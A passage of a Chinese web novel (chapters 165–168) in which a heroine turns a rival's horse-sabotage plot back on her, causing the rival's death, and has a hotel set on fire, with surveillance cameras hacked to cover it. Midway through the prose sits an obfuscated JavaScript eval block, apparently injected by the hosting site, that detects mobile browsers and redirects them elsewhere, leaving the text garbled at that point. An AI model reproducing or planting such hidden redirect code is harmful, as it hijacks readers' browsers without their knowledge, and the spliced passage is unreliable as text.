方局是他的人,那么方局的手下,自然也是他的手下。 季恒一脸无语:“……” 得,他白担心了! 又转过头去,对身后跟着的夏灼灼笑了笑。 “夏小姐,慢点走,这条路还没修好,小心弄脏了你的脚。” 夏灼灼道谢,低头去看自己的鞋子。 果然已经沾上了泥泞。 这么看来,这条路,夏怀武也走过很多次了吧? 走这条路来看夏琉璃的时候,他会不会想到自己? 想到自己的时候,内心又会不会愧疚? 原本,夏灼灼是想借古武堂的事情,给夏怀武一个将功赎罪的机会的。 但夏怀武又私藏了夏琉璃,这让她不想再给他机会。 她不喜欢夏怀武。 太愚蠢。 可夏怀武又的确是她血脉相连的五哥。 夏琉璃的事情解决之后,她不知道该怎么处理夏怀武。 脑子里有些乱七八糟的想法,搞的夏灼灼心情有些烦躁。 就在这时,一只大手包裹住了她的掌心。 夏灼灼抬头,正好对上司慎行黑沉沉的视线。 第165章 不入虎穴焉得虎子 华夏人的眼珠子都带了点棕色,但司慎行的眼珠子却很黑。 夏灼灼莫名感到内心的焦躁被化解了几分。 可牵手…… 夏灼灼还在犹豫要不要挣脱开,就见司慎行凑近她一点,声音很低地说:“我会告诉大家,你是我邀请来的,没人会怀疑你来这里的目的。” 夏灼灼愣了下。 他猜到自己来这儿是来干什么了。 从前她觉得内心被看透是很不好的事情,可现在,被司慎行看透,她觉得很放松、很轻松。 少了很多解释。 不可否认,夏灼灼喜欢聪明人。 跟聪明人说话,省很多事。 她没有挣脱开司慎行的手,大大方方跟着他进了主楼。 主楼的大厅里,夏灼灼见到了好几个熟人。 其中就有孙市,以及在未来之境打过一次照面的孙昭昭。 那次孙昭昭在未来之境拿她爸爸威胁她,她反手来了一个绿茶表演。 非但揭穿了孙昭昭的真面目,还让孙市不得已退出对夏云海案件的审理。 这才有了冯邵阳被调来沪城的事。 阴差阳错下,倒是帮了夏家。 只是那次之后,夏灼灼就没见过孙昭昭了。 本以为这次见面,孙昭昭会冷眼相待,却没想到她含笑走向前,主动打招呼。 “夏小姐,好久不见,你比之前又漂亮了一点。” 夏灼灼也微笑。 “孙小姐穿马术服,好飒气。” 心里想的是,孙昭昭不是太愚蠢的人。 知道吃一堑长一智。 只见孙昭昭又看向司慎行。 “司先生,上次的事情让你见笑了,我在家里反省了一个月,现在已经清醒过来了。我们有缘无分,我不会再强求。” 司慎行并不喜欢跟夏灼灼之外的女人多说话。 只敷衍地“嗯”了一声,就牵着夏灼灼的手,向她介绍起今天在场的其他贵客。 孙昭昭的表情略有一瞬间的僵硬,但很快恢复自然。 她没有撒谎,她的确放下了司慎行。 她作为孙市的女儿,内心也有自己的骄傲。 她的骄傲不允许她热脸贴司慎行的冷屁股。 她只是在等。 等爸爸说的时机。 时机一到,她用不着使任何手段,夏家自然会彻底倒塌。 爸爸时机什么时候到,得看京都窦家。 所以她不着急。 至于司慎行,他会不会倒,取决于他做什么样的选择。 如果做错了选择,那么司慎行到时候的身份也已经配不上她了。 司家也会倒。 所以她什么都不打算做,只是在静静等待。 当一个猎人,要有足够多的耐心。 她在夏灼灼手上吃过一次亏,不会再吃第二次。 夏灼灼是一个为达目的不要脸的女人,她身份高贵,不会跟夏灼灼一般见识。 夏灼灼被司慎行带着认识了很多人。 其中不乏有好几个是从京都大老远跑过来的。 认识这些人,对夏灼灼有利无害。 至于有害的,如孙市那伙人,司慎行没带她去打招呼,只自己去聊了两句就回来了。 夏灼灼由此知道,哪些是往后可以继续联络的,哪些是敌人。 一群人寒暄完毕,夏灼灼的通讯录上多了好几个联系人。 “走吧,咱们年纪大的上二楼看台,看他们小辈玩。”孙市笑呵呵的,仿佛也不把那天在司慎行和夏灼灼身上吃到的亏放在心上。 于是一伙“年纪大的”就上了二楼看台。 年轻的小辈,就去马房挑选自己心仪的马匹。 许菻兮在这个时候来到夏灼灼面前。 夏灼灼闻到了一股很淡的香味。 她分辨出来,是夏琉璃常用的香水。 还能有心思喷香水,看来在这里的日子过得不错。 一个杀人犯,不配过这样的好日子。 只听许菻兮说:“夏小姐,你既然已经换了马术服,就别浪费了。我带你去挑马,我们比一场,怎么样?如果你赢了,我或许能跟你说一些你想知道的事也不一定。” 夏灼灼一副被吊起了胃口的样子。 “你要说什么事?” “你赢了我,我才会告诉你。” 夏灼灼眉头微微拧,似在纠结。 许菻兮便说:“我可以保证,我要说的事情,一定会让你很惊喜。” 夏灼灼便答应了。 “好,说话算话。” “一言既出驷马难追,不过前提是赢过我。” 她眼里尽是挑衅的意味。 夏灼灼笑了下,说:“你别忘了,我是在乡下长大的,我那个村子,养了很多马,你未必是我的对手。” “是不是你的对手,比了就知道。” “那你稍等,我跟司慎行说一声。” “你快一点,我在出口等你。” 夏灼灼点了下头,去找司慎行了。 司慎行正在跟许菻兮的父亲说话。 许父在司慎行面前一副讨好的模样,但夏灼灼一眼就瞥见司慎行眼底的不耐烦。 她走过来后,司慎行终于找到了借口。 “我跟我未婚妻单独说几句话。” 许父连连点头,识趣地走了。 夏灼灼开门见山地说:“许菻兮邀请我跟她赛马。” 司慎行眉头一蹙,说:“不要去,免得有诈。他们父女都是蠢人,蠢人容易做蠢事,哪怕吃过一次亏,也不会长记性。” 夏灼灼笑道:“我不怕有诈。不入虎穴焉得虎子。” 司慎行深深看她一眼。 “你已经知道她想做什么了?” 夏灼灼点头:“猜到了大概。” 司慎行便没有继续坚持。 “那你去吧,注意安全。” 夏灼灼道:“我会很安全,但是恐怕要给你惹麻烦。” 司慎行薄唇一勾:“我最喜欢给人收拾烂摊子了。” “你的兴趣爱好真独特。” “只对你。” 他目光如炬,夏灼灼竟然有些脸热。 她干咳一声,说:“那我去了,你准备好收拾烂摊子吧。” 司慎行却又叫住她。 “我让季恒陪你,有需要的时候,他可以帮你。” 季恒在外头的名声很差,加上季家现在是他大哥季远做主,所以没有什么人会太注意他。 夏灼灼点头答应。 路过丁警官,她看了丁警官一眼。 过来看台大楼的路上,她已经跟丁警官说清楚了他需要做什么。 丁警官会意,悄无声息地离开了。 夏灼灼没着急跟上许菻兮,而是给大哥夏怀征发了条消息。 得到回复后,她回过头,跟上了许菻兮的步子。 许菻兮等得有点不耐烦,但想到自己的计划,还是压下了烦躁。 好在夏灼灼很快来了。 只是身后还跟了个季恒。 许菻兮担心情况有变,可她没有借口不让季恒跟着,只好压下不悦,去了马房。 正如季恒说的那样,这里全是好马。 所以哪怕夏灼灼和许菻兮来的晚了一点,也不存在好马被人挑完的情况。 “这匹马不错。”许菻兮指了一匹白马,说:“它参加过很多比赛,性格也很好,别说我故意选不好的马给你。你不是我的对手。” 夏灼灼一副不太相信的样子,转眸去看季恒。 季恒走上来看了两分钟,又去对比其他的马,最终点头:“这匹马的确不错。” “那我就选这匹了。” “早说了,我不会故意选不好的马给你。”许菻兮说着,也给自己选中了一匹马。 是一匹黑马。 看起来很是威风,只是没有那匹白马高。 “许小姐。”夏灼灼突然开口:“我有几句话想跟季恒说,你能不能去外面等我?” 许菻兮蹙眉。 “你不会是怕了吧?” “当然不会。只是主楼那边人太多,我不好跟季恒走太近,你就当做个顺水人情。” 许菻兮本来就怀疑夏灼灼跟季恒有一腿,闻言,脸上的鄙夷更加明显。 也因此,没怀疑夏灼灼说的话。 她嘲讽道:“你还真是不怕被司慎行发现。” “我没有嫁人之前,都有跟任何男性来往的权利,不是吗?” 许菻兮在心里骂了句不要脸。 不过她还是压下了鄙夷,说:“快一点,我耐心不多。” “知道。” 许菻兮便出去了。 季恒疑惑地问夏灼灼:“你要跟我说什么?” “随便说点什么,不要停下来就行。” “……”季恒一脸错愕,但还是照做。 他在旁边叽叽喳喳,夏灼灼就从包里拿出了一枚很粗的银针。 …… 约莫五分钟后,夏灼灼和季恒一前一后从马房里走出来。 两个人手上都牵着一匹马,季恒牵着的那一匹就是许菻兮选中的那匹黑马。 他把黑马交给了许菻兮,对她微微一笑:“给你,多谢你替我们把风。” 许菻兮又在心里骂了句不要脸。 面上却道:“谢谢。” 两个人很快到了马场上。 马场不少人在跑马,也有不怎么会骑马的,比如孙昭昭。 她由专人牵着马,慢慢绕着马场走。 其他人听说许菻兮要跟夏灼灼比赛,都停了下来,把场地让给她们。 许菻兮家是斯蒂兰马场的股东之一,而夏灼灼,是司慎行跟他们明确介绍是未婚妻的人。 这两个人比赛,其他人自然想看。 孙昭昭也从马上下来了。 她微笑着对夏灼灼说:“夏小姐,加油。” 夏灼灼同样微笑回应:“谢谢,我会加油的。” 许菻兮盯着夏灼灼,心里冷笑。 笑吧,一会儿你就笑不出来了。 马场的工作人员走上前,叮嘱两人。 “内道设了跑马比赛专用的跳跃障碍,女孩子跑内道不太安全,你们就在外道跑吧。” 两人点头,随后一起上了马。 夏灼灼朝看台望了眼。 距离很远,但她还是一眼就看到了司慎行。 司慎行不顾其他人的目光,抬手朝她挥手。 司慎行一向是沉稳的,很罕见做出这种大幅度的动作。 其他人便纷纷向夏灼灼投来艳羡的目光。 第166章 自作孽,落马 夏灼灼的脸又开始有点发烫了。 她不是没谈过恋爱的人。 只是宗域跟司慎行,是完全不同的两个人。 宗域是个很内敛的人,因而他不会像司慎行这样,恨不得把自己的爱意昭告天下。 她以前没遇到过司慎行这样的人。 放肆、热烈。 像一团火,把冰一样的她一点点融化。 她有点抵挡不住,清了清嗓子,别开脸,只当自己没看到。 许菻兮看看夏灼灼,又看了眼看台,眼底噙着冷笑。 得意吧,现在越风光,一会儿就越惨。 “两位小姐,请戴好帽子,最后检查一下护具。”马场的工作人员走过来提醒。 “帽子”就是马术头盔,防止意外跌落时,头部受到撞击。 夏灼灼把自己的头发扎成马尾,将马术头盔仔细戴好。 那边的许菻兮却不当一回事。 “我的马术好,用不着头盔。” ——她的脸型是偏国字脸的,戴上马术头盔会显得脸更大。 她爱美,也自信自己的马术,而且,她今天的重点根本不在赛马上,所以拒绝戴头盔。 工作人员有点犯难。 夏灼灼在这时大声开口:“许小姐,你真的不戴头盔吗?万一过程中出了点什么事,我也得被你连累。” 许菻兮蹙眉看向马上的夏灼灼。 夏灼灼的头骨生的很好,是标准的骨相美人,一张脸更是只有巴掌大小,故而戴着头盔也很好看。 许菻兮更加坚定不戴头盔的想法。 “我说了,我马术很好,不会受伤,用不着头盔。而且是我请你比赛的,我如果真出了事,也与你无关。” 这番话,在场很多人都听到了。 夏灼灼就不再劝说了。 她要的只是许菻兮的这句话。 “那就准备开始吧!” 工作人员见劝不动,只好作罢,让两个人骑着马站在同一条线上。 一声枪响,两人同时甩出马鞭。 两匹马高高扬起前蹄,下一秒都奋力朝前面奔跑。 第一圈夏灼灼中规中矩地沿着外圈跑。 她在适应这匹马。 而许菻兮也似乎在适应她的马,两个人的速度差不多。 然而到了第二圈,夏灼灼就开始往内道跑。 两个人的比赛,是看谁先跑完三圈。 内道设置了障碍物,但路程更短,能更快跑完三圈。 她几乎是贴着围栏掠过。 很快就到达了第一个障碍组合上。 是一道水沟,接一个一米多高的木栏。 夏灼灼毫不犹豫,带着白马越过水沟。 随后是难点,那个一米多高的木栏。 夏灼灼似乎跟白马融为了一体,白马的前蹄高高跃起,在空气跳出一个漂亮的弧度后,稳稳落地。 干净利落,且速度极快。 在场擅长跑马的男士们都不一定敢在障碍组合上,跑这样的速度。 周围一片呼喊声。 看台那边也传来掌声。 夏灼灼又到了第二个障碍组合,三个接连的木栏。 但她都一一带着白马跳了过去,很快就把跑在外道的许菻兮甩开了半圈的距离。 许菻兮心里顿时着急起来。 周围人的呐喊声,让她嫉妒的心疯狂滋长。 她甚至忘记了自己的目的,也跟着开始跑内道。 因为继续跑外道,她根本追不上夏灼灼的速度。 可她刚带着黑马跑过水沟,来到那一米多高的木栏时,黑马却突然发出一声嘶吼,两只前蹄高高扬起,却没跳过木栏,而是往里面的围栏发疯一般冲过去。 “不!不!停下来!” 许菻兮眼底写满了惊恐,拼命拉紧缰绳。 但那匹黑马已然失去了控制,她根本无法让它停下! 突然一阵天旋地转,许菻兮的身子被甩飞,又重重掉在地上。 腾空又落下,现实中其实只是一瞬间而已,但许菻兮却感觉时间都静止了下来。 她想起了夏灼灼说的那句:“许小姐,你很喜欢给人当枪使吗?” 只是她的脑子来不及想更多,剧烈的疼痛就包裹住了她。 她觉得自己的四肢仿佛已经不属于自己了,后脑勺温热一片,有很多血液在流淌。 可她竟然不觉得痛,只是浑身开始发冷。 她整个人开始打摆子,嘴里吐出白沫来。 “快!快救人!” 工作人员第一个就冲了过去。 夏灼灼骑着马,是工作人员之后的第一批赶到的。 她看了眼许菻兮。 许菻兮没有戴头盔,所以头部受到了严重的撞击伤。 留出来的血,很黑。 这不是什么好兆头。 唯一庆幸的,就是她现在尚且算神志清楚,只是不能动,也不能说话。 工作人员拿了一个工具,在给许菻兮测血压。 事发突然,急救工具还在送过来的路上。 夏灼灼在许菻兮的身边蹲下来,轻轻握住她的手。 “许小姐,你怎么样?” 许菻兮看着她,什么话都说不出来。 但那眼神里写满了不解和愤怒。 为什么? 为什么夏灼灼没事? 为什么出事的人,是她? 她明明安排好了一切的! 夏灼灼却在这时候抬了一下手,她的指间,夹着一根绣花针。 许菻兮倏然瞪大眼睛。 怎么回事?! 这根针,应该是在那匹白马身上! 她目眦尽裂,想要去抓夏灼灼的衣领。 夏灼灼却在这时候站起身。 许菻兮抓了个空。 夏灼灼仿佛没看到她的动作和眼神,对工作人员说:“那匹马得控制住,不然会撞伤其他人。” “可是我们得先给许小姐做急救……” 因为马场还未开业,人手还不足。 这里工作不像餐厅,不是什么人都能来的,得有专业知识才行。 夏灼灼说:“我去!” “你可以吗?万一受伤了……” “我的马术,你刚才已经见过了。” 的确马术很好。 工作人员不再犹豫,点头说:“好,注意安全!” 已经有人受伤了,所以要在最大范围内减少损失,防止更多人的受伤。 工作人员递给她一个感激的眼神。 夏灼灼微一颔首,便嘞缰上马,追那匹黑马去了。 夏灼灼刚走不久,客人们就都跑过来了。 许父也急匆匆从看台上赶过来。 看到许菻兮的血越流越多,他失声痛哭。 “怎么会这样!好好的,怎么会这样!” 许菻兮张了张嘴,她很想说,她是遭了夏灼灼的算计。 但她什么话都说不出来。 虽然她已经不口吐白沫了,但是一张嘴,就吐血。 她慢慢感觉到身体的温度在流失,这种感觉,让她陷入了极度的害怕。 很快救护车赶到,医护人员进行了一番检查后,却面露难色。 “家属呢?” 许父连忙说:“我是家属!我是她爸!” 医生说:“送去医院估计也不行了,颅内出血,胸腔里多个内脏破损……你还是带她回去,好好陪她最后一段时间吧。” “说的什么话!我的女儿好好的,怎么就不行了!你们必须得给我治!” 许父怒不可遏,跟医生吵了起来。 司慎行落后一步赶到,他问季恒。 “灼灼呢?” “去追马了,那匹马乱跑,怕又伤到其他无辜的人。” “怎么能让她一个人去追!” 司慎行眉头一蹙,扭头就牵过孙昭昭手里的马,朝夏灼灼那边追过去了。 孙昭昭望了司慎行的背影一眼,突然开口对许父说:“许总,节哀……今天真是无妄之灾。如果许小姐不跟夏小姐比赛,她就不会出事了。” 许父的眼神变了变。 他想起,上次也是因为夏灼灼,司慎行才对许家动怒。 害的他丢失了这里百分之十的股份。 原本,他是这里最大的股东。 他正要说话,只听季恒淡淡一笑,问孙昭昭:“孙小姐,你说话可要说清楚前因后果。明明是许小姐非要抓着夏小姐赛马,你不说清楚,许总会误会的。” 孙昭昭表情一僵。 正要继续说话,就听季恒再次开口:“而且比赛开始之前,许小姐不肯戴头盔,夏小姐还几次三番劝说……这些大家都是亲耳听到的。” 周围的人纷纷开口附和。 “是啊,许菻兮不肯戴头盔,夏小姐和工作人员一起劝她,她还是不听。” “许小姐也说了,如果她真的不小心出事,也跟夏小姐无关来着。” 孙昭昭的表情更僵硬了。 季恒说的都是事实。 可…… 她要正继续说,父亲孙峥跃的视线扫过来,她顿时闭上嘴,不再说话了。 许父要对夏灼灼找说法的话,全都卡在了喉头。 在场的人这么多,不可能所有人都是季恒的人,但每个人都点头了,说明季恒说的的确是事实。 许父没说出口的话,只得尽数吞下去。 他又找医护人员吵架了。 “医院是治病救人的地方,你们还没开始治,就说不行,你们还是医生吗?” 医生无可奈何,也知道这些人都身份尊贵。 所以哪怕知道许菻兮到了医院百分百救不回来,只是瞎折腾,浪费医疗资源…… 病人死之前最后还要痛苦一番…… 但还是答应下来,抬着担架,带许菻兮走了。 许父跟着一起上了救护车。 许菻兮被抬上担架前最后一刻,看到了斯蒂兰马场里的那家星级酒店。 她又想起了夏灼灼那句:许小姐,你就这么喜欢被人当枪使吗? 她突然激动起来。 但随着她情绪激动,嘴里吐出来的血,越来越多…… 第167章 她** 但许菻兮不管不顾,就算是死,今天也要把一切说明白。 除了说夏灼灼害她,还要说夏琉璃利用她。 可医生把一根长长的管子**了她的嘴里…… 而旁边的许父,只当她是安排,用力握住她的手,说:“不要害怕,爸爸在身边。 许菻兮知道自己再也说不了话了。 她闭上了眼睛,眼角滑落一颗颗的泪珠。 一朵花,淬了剧毒,只是没毒死别人,而是害了自己。 …… 而另一边,夏灼灼已经骑着白马,把黑马控制住了。 黑马发狂,只是因为疼痛。 现在不发狂了,就安安静静站在原地。 夏灼灼在没人能看到,也没有监控的地方,将黑马脚底的一根银针**。 却在下一秒,听到马蹄声靠近的声音。 她警铃大作,一扭头,却看到了骑着马过来的司慎行。 他的碎发随着他骑马的动作飘荡着,眼神凌厉,像是风都要为他让步。 但他又好像很害怕,脸色很苍白。 直到看到两匹马都安安静静站在夏灼灼身后,他这才吐了一口气,勒缰下马。 “没受伤吧? 夏灼灼摇头,正要说“没有,司慎行突然大手一捞,将她狠狠地、用力抱进他的怀里。 力道之大,夏灼灼都怀疑自己要被司慎行揉进他的身体里了。 她下意识就想要挣扎。 可她的心口贴着司慎行的胸膛,她能感觉到他的心跳很快、很快。 而且,他的身体还在微微发着颤。 这一刻,夏灼灼突然没法做出推开他的动作了,而是生平第一次,抬手回抱住了司慎行。 不管司慎行是不是危险的人; 不管司慎行以后会不会变; 不管他们有没有以后。 至少这一刻,他是真真切切、全心全意地在担心她。 “我没事。她说。 “谢谢。 “谢谢你没事。 夏灼灼的心,微微快了半拍。 等到司慎行松开她,她才知道司慎行为什么那么害怕。 “我看到许菻兮躺在地上,她自己可能都不知道,她的右脚已经被扭断了,脚尖变成了朝后…… “地上都是血。 “她的鼻子、耳朵,脑子,都有血在流。 “我 不是没见过血,比这血腥几倍的场面我都见过,但是……我当时想到了你。 “想到,如果躺在地上的是你,我该怎么办? 所以他越想越怕。 找到夏灼灼的时候,他浑身都在发抖。 夏灼灼安静听完,深深看了一眼司慎行。 “其实……原本应该躺在那里的人,的确是我。 司慎行愣了一下,眉头紧拧地瞥了眼那匹黑马,问她:“原本许菻兮准备让你骑这匹发疯的马? 夏灼灼摇摇头,摊开自己的手心。 她的手心里,有两根针。 一根是绣花针,酒店的房间里自带的,用来给客人缝补衣服的。 另一根则是夏灼灼随身会携带的针灸银针。 季恒把她领进来之后,她碰见了许菻兮,猜测夏琉璃大概率就在这里。 所以故意言语刺激了许菻兮一阵。 果然,许菻兮离开换衣间之后,就去找了夏琉璃。 夏灼灼从偏门出门,悄悄跟在许菻兮后面,得知了夏琉璃所在的位置。 “房间里隔音不是特别好,我隐约听到了什么马,什么让我残废,所以我就怀疑,许菻兮要借着马场里的马对我动手。 “原本我想让丁警官直接去酒店抓人,但听到她们到现在还存了害死我的心之后,我就决定,不能这么轻易地放过她们。 果然后来许菻兮邀请她赛马,还帮她挑选了那匹白马。 “许菻兮怀疑我跟季恒有一腿,我就借着季恒,把她支出去。 一番检查之后,她发现白马的马蹄里,扎了一根绣花针。 “我拔掉了她的针,又用我自己的针,刺进那匹许菻兮挑中的黑马的马蹄上。 银针很细。 黑马一开始虽然会有点不适,但不会有特别大的反应。 除非,做一些高难度的动作。 “所以我就故意跑了内道,借其他人的反应,激起许菻兮的嫉妒。 “她果然也开始跑内道。 “再之后,你就知道了。 夏灼灼安静地诉说着经过,司慎行的额头上却冒出细汗。 他又想到了许菻兮摔下马之后的样子。 而如果不是他的灼灼足够聪明、敏锐,摔下马的人,就成了她。 “许菻兮果然该死! “是。 司慎行帮她扶正马术头盔。 “你做的很好。 “你不觉得我恶毒?许菻兮活不了了。 司慎行笑了笑。 “为什么会觉得你恶毒?同情敌人,死的人就是你。灼灼,你没做错任何事,你不过是以牙还牙罢了。我还觉得你太仁慈了,就这么轻易地**,已经算是便宜她了。 按他说,许菻兮应该死得更惨一点。 夏灼灼摇摇头:“这已经够了。她死前一定很后悔,想算计我,结果毒计最后用在了她自己身上。 司慎行提醒她:“那夏琉璃呢?她现在还毫发无伤地躺在酒店里。 夏灼灼迎上他的目光。 “我当然不会忘记她。很快她就不会毫发无伤了,你等着看吧。 司慎行弯唇笑道:“好。 他越发觉得,他跟灼灼是天生一对的人。 两个人牵着三匹马,回到了马道旁。 季恒走上前,先问了夏灼灼有没有受伤。 得到否定的答案后,他说:“许菻兮**。还没来得及送到医院。 司慎行“哦了一声,没有任何的反应。 季恒看夏灼灼的眼神却有些变化。 不再是像之前那样,看一朵漂亮的花。 而是多了一丝敬佩。 他之前以为,司慎行喜欢的,只是夏灼灼的容貌气质。 现在他不会这么想了。 “司先生。马场负责人走过来,脸色有些沉重地说:“出了这样的事情,我们很惭愧…… “跟你们无关。司慎行道:“是她自己不戴头盔,又不自量力做高难度动作才出了事,不怪你们。 负责人微微松了口气。 只是**人,今天的跑马就不宜再继续下去了。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262348|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群人纷纷准备离开。 只是路过酒店的时候,突然看到酒店一个房间里飘出浓烟。 “快看!着火了!有人喊了一声。 其他人纷纷看过去,果然看到酒店起火了。 不少人从里面快速跑出来。 酒店还没有人入住,跑出来的清一色全是工作人员。 司慎行不动声色打量了夏灼灼一眼。 见她目光如炬盯着酒店,心里便知道,这是夏灼灼安排的。 只是**她是怎么办到的。 “打**了吗?司慎行问。 工作人员连忙点头:“打了。今天也不知道是怎么回事,接二连三出事。 司慎行 淡淡道:“幸亏还没开始正式营业。回头叫个道士来,做个法事,散一散这里的晦气。另外……今天发生的事情,任何人都不要对外透露。免得影响日后营业。” 工作人员们纷纷应声。 客人们听到这话,也不敢往外带消息。 斯蒂兰是花了重金建造的,要是谁往外传播出今天的事,司慎行、孙市等人都不会放过他们。 有工作人员问:“人都出来了吗?” “都出来了。” 却有个服务生,迟疑着说:“里面可能还有人。” 这话一出,所有人都看向她。 “里面还有谁?服务生不是都出来了吗?”负责人忙问。 服务生磕磕巴巴地说:“几天前,许小姐带了个她的朋友过来,入住了酒店。我没看到她出来……” 司慎行蹙眉,一副很不悦的样子。 “还没正式营业,怎么会住人进来?” 那服务生吓得要哭。 “是许小姐吩咐的,让我不许告诉任何人。” “糊涂!”负责人骂了那服务生一顿,可看着越烧越大的火,心里也着急。 **一个人,可别再死一个。 “司先生,孙市,现在怎么办?” 孙峥跃也很烦。 这是他投资的一个重要项目,怎么偏偏就在一天之内出两件这样的事? “派两个身体好的,披着毯子进去救人。” 司慎行说不用。 “消防车很快就到,你们进去徒增伤亡。而且酒店房间那么多,不一定着火的是住了人的房间。” 这话说的很对。 孙市也赞同地点头:“我们的人没有这种火场救人的经验,万一进去,就是白白送死,还是等**的人赶到吧。” 否则,原本死两个人,就要变成死四个。 季恒在这时候“啧”了一声。 “这位许小姐还真是会惹事,不仅自己害自己受伤,还害了她的朋友。我看法事不用在这里做,去许家做比较靠谱。” 大家的关注点又落回到了许菻兮身上。 甚至有人提起:“我记得许小姐是四月**生日的,别不是什么……灾星转世吧?” 也有跟许家交好的,为许菻兮说话。 “什么灾星转世?这就是意外!人都**,你们不能说点好话吗?” 可无论大家怎么说,都没有人把关注点落在夏灼灼身上。 她手上干干净净,还为大家解除了那匹黑马可能会带来的危害。 然而就在这时—— 第168章 毁容 就在大家为今天的两场灾祸争执许菻兮是不是罪魁祸首的时候,消防车赶到了。 但因为道路还没做好,消防车开不进来。 只有一帮消防员跑过来。 “车开不进来,里面还有没有人?” 这边还没来得及回答,突然那个女服务生尖叫了一声。 “快看!着火那里,开了一扇窗!” 众人纷纷朝她手指的方向看过去。 就见酒店四楼一扇窗户被人推开,烟雾中,一道若隐若现的身影站在窗边。 “救命——”她大喊。 夏灼灼认出来,那是夏琉璃的声音。 她往司慎行那边看了一眼。 司慎行也看向她。 什么都不用说,两个人都知道对方想的是什么。 “去救人!” 负责**喊着。 消防员们立刻就要冲进去。 但火实在烧得太大,他们很快就被迫跑出来。 “得换身衣服。”队长跟他们解释:“要换能防止被火烧伤的衣服再进去。” 众人表示理解。 消防员也是人,不可能不怕火烧。 可就是换衣服的时间,夏琉璃等不及了。 她已经看到了人群里的夏灼灼。 大火烧了她的脸,脸上的疼痛让她几乎昏厥过去。 再看到夏灼灼,她以为是夏灼灼不让消防员进来救她,所以心一横,直接就从窗户那边跳了下来。 她不能被烧死在这里! 消防员大喊:“别跳——” 可已经来不及。 夏琉璃一跃而下,重重摔了下来。 她算运气好,也算运气不好。 没摔在地上,而是摔在了酒店一圈的灌木丛里。 可是虽然没摔死,脚却摔断了一条。 而且很凑巧,她的腿断了之后,也跟许菻兮的一样,脚尖变成了朝后,整条腿拧了过来。 她痛得直接晕**过去。 消防员连忙冲过去救人。 一番抢救下,夏琉璃醒了过来。 只是她还没从死里逃生的庆幸中回过神来,就被一把冰冷的**铐住了手。 她错愕地看向对方。 是一个长相周正,却看不出有什么特别之处的普通男人。 “你什么干什么?!”她瞪着对方,说:“火不是我放的!” “我知道,但你是夏琉璃,对吧?” 夏琉璃愣了 一秒,隐约猜出了对方的身份。 “你是……警察?” “没错!” 其他人在这时候走了过来。 司慎行问是怎么回事。 丁警官这时候才拿出自己的**。 “我是警察,这位夏琉璃涉嫌**,我们一直在追拿她,但不知道她躲到了哪里。直到今天,我们查到她有可能在这附近,所以过来抓人。” 赵修凯和另一位警官在这时候赶到。 赵修凯看了夏琉璃一眼。 这个女人被火毁了容,不见从前的美貌。 赵修凯觉得她格外陌生,也更加唾弃从前的自己,怎么就瞎了眼了? 他当着所有人的面说出了夏琉璃的罪行。 夏琉璃无可辩驳,直接被带走。 但因为她受伤严重,所以得先送去医院治疗,再进行后续事宜。 不过再怎么样,她也逃脱不了法律的制裁。 “夏小姐,谢谢你……”赵修凯支支吾吾,有很多话想说。 可司慎行直接搂住夏灼灼的腰,把她带走了。 不给赵修凯说更多话的机会。 而其他客人也都散去。 孙市也坐上了自己的车,往城里去。 没再多**,孙市很是松了一口气。 只是车内的孙昭昭却忍不住开口:“爸,我觉得今天这两件事都很奇怪。” “什么意思?” “夏灼灼跟夏琉璃关系不和睦,那天未来之境就结下过梁子,您也是知道的。现在许菻兮收留了夏琉璃,却偏偏在这个时候,摔下马不治而亡。夏琉璃的房间也突然起火……” “所以?” “我怀疑是夏灼灼干的。” 孙峥跃看了自己的女儿一眼。 “就算是她干的,又怎么样?” “当然是严查。” 孙峥跃冷笑一声。 “严查对我们有什么好处?那位许小姐**就**,这个叫夏琉璃的,更是跟咱们八竿子打不着关系。” “可是这样能让夏灼灼接受法律的制裁。” “是啊。她接受了法律的制裁,那我们呢?” “……” “别忘了,我们在这里投了不少钱,几乎是我们家的全部家当。我之所以听窦部长的,来沪城任职,也是为了斯蒂兰能更好地发展。现在我们严查,你是想毁了斯蒂兰?让人知道,这里还没开业,就死过一个人,烧了一场火?” “……” “越有钱的人越迷信、越怕死,知道这里出过事,他们绝对不会来。华夏那么大,马场可不止这一家。” 孙昭昭陷入了沉默。 她放在裤子上的两只手紧紧攥紧。 她的第六感不会错的,而且她一直在观察夏灼灼。 许菻兮摔下马之后,所有人都是惊慌失措的,只有夏灼灼,平静地像一汪死水。 很像是早就料想到会发生这些。 而大火烧起来的时候,她看到夏灼灼跟司慎行对视了一眼。 至于那位拿出**的警官,夏灼灼是跟他一起来的。 但大家都在讨论许菻兮是不是灾星,根本没人去注意夏灼灼,更别提猜测夏灼灼是不是导致这一切的人。 “昭昭。” 孙峥跃的大手抓住女儿的手。 “爸跟你说过的,你现在只需要等待,其他什么事都不要做。尤其是夏灼灼,司慎行对她很不一般,也许真的会不顾夏家落魄娶她。” “可您不是说,司家是站窦部长的吗?站窦部长,又怎么会娶夏家人?” “司慎行到底年轻,被美女迷了眼也是有的。夏家已经破产,对窦家没有任何威胁,他娶她,不妨碍继续站在窦部长这边。” 孙昭昭听得有些眼晕。 也可能是晕车了。 她抽回自己的手,把车窗拉下来,感受清风拂面,这才神志清楚了一点。 “爸,你说得对,我是不该继续查这件事。” 反正夏灼灼的下场,横竖都不会很好。 就算她真的嫁给了司慎行,而司慎行也真的是窦派的人—— 按照男人一贯的秉性,司慎行厌弃她,不过是时间问题。 这个世上,最不缺年轻漂亮的美女。 而夏灼灼迟早会年老色衰。 “这就对了。” 孙峥跃满意一点头:“甚至,或许今天这两件事真的是个意外呢?总之,咱们别管就是了。” 而另一边。 夏灼灼跟司慎行来到了没人的地方。 酒店的火,的确是她安排的。 她让丁警官在自己去赛马的时候,去了夏琉璃所在的房间隔壁准备放火。 又发消息给夏怀征,让他先黑掉酒店的监控,免得查到是丁警官放的火。 这其中,季恒也有帮忙。 放火的工具,是季恒帮忙找到的。 她确定季恒跟司慎行关系很好之后,就在马房里,拜托了季恒这件事。 